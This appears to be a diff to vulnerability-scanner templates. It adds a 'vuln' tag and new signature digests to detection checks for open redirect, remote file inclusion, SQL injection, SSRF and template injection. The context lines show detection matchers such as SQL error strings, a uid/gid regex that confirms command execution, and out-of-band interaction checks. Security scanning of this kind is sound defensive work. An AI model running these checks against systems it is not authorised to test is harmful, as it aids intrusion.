+# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln
 
 http:
   - pre-condition:
@@ -181,4 +181,4 @@ http:
           - 301
           - 302
           - 307
-# digest: 4b0a00483046022100c12ad470d721d0006f75b2024d67345962945cb5b36915ef144972832cc1c372022100f96113abf35c9e3152f9c5206c81279681182d51d3877178aaf6c20dca6bb492:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/rfi/generic-rfi.yaml

@@ -8,7 +8,7 @@ info:
     - https://www.invicti.com/learn/remote-file-inclusion-rfi/
   metadata:
     max-request: 1
-  tags: rfi,dast,oast
+  tags: rfi,dast,oast,vuln
 
 http:
   - pre-condition:
@@ -32,4 +32,4 @@ http:
         part: body  # Confirms the PHP was executed
         words:
           - "NessusCodeExecTest"
-# digest: 4a0a0047304502201defae9e491762c05f2aefe99c8489ba93fd7153248875c686f9c6420abe3dc8022100bec8f77768157cd111d564a3498dfd931718092aa5a06e68b2b0033ef765d537:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/sqli-error-based.yaml

@@ -10,7 +10,7 @@ info:
     This is accomplished by the application taking user input and combining it with static parameters to build an SQL query .
   metadata:
     max-request: 3
-  tags: sqli,error,dast
+  tags: sqli,error,dast,vuln
 
 http:
   - pre-condition:
@@ -494,4 +494,4 @@ http:
           - "SQ200: No table "
           - "Virtuoso S0002 Error"
           - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4b0a00483046022100aa148dd908d30fe373522fd4b169a8c92376ca39b7eb6c41dbbfde1f0be384cf022100810e9ae8300cec98d33500199a98614dffe88f94777533129e5a3a8542084f5a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc7880d1ba52b68e380ae499d88bfb728689d1f8cf19a0b3614da15cff736951022100b90853b96511c04b6ca8fd4ebeaa539b9a100804e46acb3f5beb203f2ff7e575:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/time-based-sqli.yaml

@@ -6,7 +6,7 @@ info:
   severity: critical
   description: |
     Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
-  tags: time-based-sqli,sqli,dast,blind
+  tags: time-based-sqli,sqli,dast,blind,vuln
 
 flow: http(1) && http(2)
 
@@ -124,4 +124,4 @@ http:
       - type: dsl
         dsl:
           - "duration>=7 && duration <=16"
-# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f81a7af56429232ba4c582bc7ec7a8f6259d3220126dce0bf15189a7cc0a4a30022100b39ba449c1f3d3230700db35466858af68993bd8c9630b50225a77e5e2ca8b6e:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssrf/blind-ssrf.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 3
-  tags: ssrf,dast,oast
+  tags: ssrf,dast,oast,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
         part: interactsh_protocol  # Confirms the HTTP Interaction
         words:
           - "http"
-# digest: 490a0046304402200f4fac59ac544b53062c8903e3fc14f94b56e7ae95d1d9deef2d81d30a71e0be022075d19be0c973cbe8ec8120eaaeb45568dbb4c1992f19ece89e567949cfaeb658:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f5689b30c3f94560c914b824916630f62b30706ea13dac96132350cf11edcdb022057a1c782332e4a02cff196012cb4b88cf0492cebb61afbc7064646f14f6bfcb1:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssrf/response-ssrf.yaml

@@ -8,7 +8,7 @@ info:
     - https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
   metadata:
     max-request: 12
-  tags: ssrf,dast
+  tags: ssrf,dast,vuln
 
 http:
   - pre-condition:
@@ -132,4 +132,4 @@ http:
         part: body
         regex:
           - 'id[\s\S]+interfaces\/'
-# digest: 4a0a0047304502202fde4bfa65da3bf0c55b9b438cd860494fbd0663a658a93ecacfa6f796104b560221008a0a57e62fa458121b54a0aca4e8ce18ad30806a2680549345df96912af33d18:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006af276ebf6a418b1bcf9f916236906c2eb958611639ee3f9e885872aedc5ee102201dd3a6cb133d0920b1e98ae20027fe57c348a763b189a5b38ba57edb242d09e4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/freemarker-sandbox-bypass-ssti.yaml

@@ -10,7 +10,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---sandbox-bypass
   metadata:
     verified: true
-  tags: ssti,dast,freemarker
+  tags: ssti,dast,freemarker,vuln
 
 http:
   - pre-condition:
@@ -34,4 +34,4 @@ http:
         part: body
         regex:
           - "uid=[0-9]+.*gid=[0-9]+.*"
-# digest: 4a0a00473045022100b5577e417caf5698d76f3cf7da7414f04e9be66d0cb15ff7ce9cf6648424d20d02206614926d9c4e239b7198e07da4b8b61829faf8dc55057ee0439b3b1e3fbb41fc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ac8c10f30a5cdc7e823e21020c162e3905bb3224dc545e42d0af472fe3b9cc3802204b4d959cdab058adf6963fdb8f84eeb01e420b56b927cd2f3a6b9041ec60a4cd:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/blade-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100cd8d8ea3f75134ec1a9235f83294c87b8f49df61c565d5fa91dc45c57759aad302203b9fa6ca78133641e3d5b3304ead17401d5f2ccd55b3917418f23dc677014681:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200fbe63bd2f1255654c93ddedae62499fdfcb8ac4496041cc3da3caca97b1bc00022100bcce8a6791c82c2c40fbf9f614484ca12b3bd7c002f373534fd3085a6d5de7d2:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/bottle-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 variables:
   oast: "{{interactsh-url}}"
@@ -40,4 +40,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100b3c70b176879a2460a518ad7118919a3658bf5806e8bc74b03caf23f1e72433c022077bc6aabdf2008bf051823242155f5bab226fd32d39b7ff9704778a97ecc2dc7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a92ae4fac72f544f364bda53a299b0c8ec0f100e7214207ec18cdac184fd8883022100c6ee6753b6c703415440b9f56c5b2bba10498fac41d10dfafa28c0dd1757104d:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/chameleon-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100f2d190c0663353f514bcd5044e28ad9a9dccbb7360ed054dba295e021cf608dd022073b0a3f0cdd8945800bbb341ce75f505ad961ea2a56a8ef21c8913bb70a28df9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a1a7d16120a0aed4f61ba57617da6c6ca6819d11af22d3f4a97d0ea6c55b3072022100c0d6fd6e33b1aaf824fa03be2a49de9d53c1a38e0c4d75cc3fea70ed686de139:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/codepen-oob.yaml

@@ -8,7 +8,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#codepen
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -34,4 +34,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 490a0046304402201cc122332f3c98014cdaa0a48408214d6907250a67fd300276c16d4281923d8a0220489b6d635f7e4db27abfa366a85e62646b8ca7ece0b96ce5243d8dd3403ece45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e27481698d8336750623b7e91390c3541b578fdb99427935d92321df6e9fd034022100c44a2d500e417f78f771fa416450b2d0913c24d23ac7ad010ca4288fed3ca20b:922c64590222798bb761d5b6d8e72950